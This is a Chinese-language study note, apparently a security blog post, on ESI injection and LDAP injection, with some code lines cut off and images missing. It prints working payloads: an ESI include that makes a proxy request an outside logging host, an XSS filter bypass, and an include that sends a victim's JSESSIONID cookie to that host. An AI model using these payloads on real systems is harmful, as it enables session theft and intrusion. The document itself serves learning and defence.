ESI
Edge Side Includes (ESI)标记语言主要用于各种流行的HTTP代理中
如反向代理、负载均衡、缓存服务器、代理服务器 用以解决网页缓存问题。
攻击方式:对ESI的成功利用可形成SSRF、绕过HTTPOnly cookie标记的XSS攻击和服务端的拒绝服务攻击(ESI 注入(ESI Injection))
支持ESI的应用:
Varnish,Squid Proxy,IBM WebSphere,Oracle Fusion / WebLogic,Akamai,Fastly,F5,Node.js ESI,LiteSpeed
1 | 示例: |
我理解的相当于镶嵌一样
只有动态内容需要从主服务器中获取,然后又代理服务器进行整合镶嵌最终形成DOM返回给请求端。
即代理服务器是实现媒介,具体如何标记静态与非静态(动态)内容的工作交给了ESI来进行描述。
漏洞成因
在上游服务器响应的和恶意攻击者注入HTTP的ESI标签之间,HTTP代理(加速代理服务器)是不能区分合法ESI标签的
也就是说,如果攻击者能成功把ESI标签注入到HTTP响应内容中,代理就会通过评估解析,认为它们是来自上游服务器响应的合法ESI标签。并且ESI解析器在处理ESI标签时,小于号<和>大于号之间的字符不会被编码或转义
如今,Web应用服务器会转义一些用户输入的特殊字符以防止XSS攻击,虽然这样能有效阻止代理解析后返回的ESI标签语义,但有时候ESI标签可以注入到非HTML形式的HTTP响应内容中去。
漏洞利用
服务端请求伪造(SSRF)
值得注意的是,这里的SSRF造成的是对HTTP代理服务器的SSRF,由于其错误的解析了来自客户端的请求诸如
<esi:include src="http://s5beqn.ceye.io" />
这样的ESI语言。不过这将不会攻伤害到真实的应用服务器。
正常的处理流程
成功的SSRF攻击导致的请求流程:
攻击Payload:
<esi:include src="http://s5beqn.ceye.io" />
绕过客户端XSS过滤机制
客户端XSS过滤机制一般通过请求输入和响应输出的比较来运行,当某些GET参数在HTTP响应中出现时,浏览器会启动安全过滤措施来识别是否存在XSS payload 攻击,如果浏览器识别到payload为HTML为Javascript,那么这种攻击就会被阻止(Chrome–xssAuditor)
q=<esi:assign name=”var1” value=”‘cript’”/><s**<esi:vars name=”$(var1)” />>alert(/Chrome XSS filter bypass/);</s**<esi:vars name=”$(var1)”/>>
值得注意的是
<esi:assign name="var1" value="'cript'"/>
将定义一个var1变量值为cript<esi:vars name="$(var1)" />
该ESI标记将被解析为cript再拼接形成最终解析返回(基于黑名单的过滤器将失效):q=
<script>alert(/Chrome XSS filter bypass/);</script>
攻击Payload:
<esi:assign name="var1" value="'cript'" /><s<esi:vars name="$(var1)" />>alert(/xss/);</s<esi:vars name="$(var1)" />>
绕过HttpOnly Cookie标记
针对Cookie窃取的一个对策是在Javascript引擎下使用HTTPOnly标记。这种标记在Cookie创建时被定义,阻断Javascript引擎对Cookie和其变量值的访问获取,防止Cookie窃取形式的XSS攻击。由于ESI是在服务器端被处理,当上游服务器向代理服务器传输Cookie时,可以利用这些Cookie。一种攻击途径就是使用ESI includes标签对URL中的cookie进行窃取。
也就是在HTTP代理服务器直接传递Cookie给攻击者而不通过原本的客户电脑的浏览器(SSRF+ESI语言组合)
攻击payload:
<esi:include src="http://s5beqn.ceye.io/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
LDAP注入
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议。
LDAP主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。
简单理解:LDAP是某种搜索协议,就像我们熟知的数据库一样,我们利用SQL语句进行查询数据库中的数据。而LDAP也有一套自己的查询语句,来进行查询。
利用的前置知识:
一个永真条件在LDAP语法中为 (&)
LDAP查询语法:(描述符(参数=值)(参数=值))
1 | search语法:attribute operator value |
示例:
1 | (&(attribute=value)(injected_filter)) (second_filter) |
我们需要达到的,首先是对原本查询为
(&(parameter1=value1)(parameter2=value2))
(|(parameter1=value1)(parameter2=value2))
这样的查询再对用户可控参数value1和value2 进行构造、闭合 –> 如value1=aaa**)**(&))
这样结果将成为: (&(parameter1=aaa)(&)))(parameter2=value2))
当然,需要第二个框的部分被抛弃和第一个部分正确执行才可以。因此,该注入只有支持该语法的OpenLDAP支持,而微软的ADAM不存在该注入(不支持该语法)
同理OR(描述符为|) 的LDAP注入亦是如此。
防御
下图包含了LDAP中用到的特殊字符和需要转义处理的字符:
可供参考的防御函数:
1 | function ldapspecialchars($string) { |
LDAP服务开启的端口 389 ,如果发现服务器上开启了该端口很可能就是开启了LDAP服务
参考:
https://www.jianshu.com/p/d94673be9ed0